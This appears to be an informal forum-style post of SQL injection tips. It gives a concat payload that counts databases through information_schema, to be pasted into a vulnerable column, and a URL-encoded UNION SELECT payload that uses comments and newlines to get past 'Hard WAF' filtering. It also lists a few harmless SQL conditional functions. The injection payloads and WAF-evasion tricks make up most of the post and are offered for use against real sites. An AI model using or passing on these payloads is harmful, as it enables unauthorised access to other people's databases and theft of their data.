Facts on sqling

For Those who don't know how to count Total Databases copy and paste in vuln column and see smile emoticon
concat(0x546f74616c204461746162617365733e3e3e3e203a3a20,(select count(*) from information_schema.schemata))




There is 4 (Four) Conditional Statements in SQL wink emoticon
1. CASE
2. IF()
3. IFNULL()
4. NULLIF()
Examples:
SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;






Try this also work on Hard WAF wink emoticon
%23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23



Manual Buffer flow;Buffer flow %23 Comment %0a .. And using @variable before union also breaks hard WAF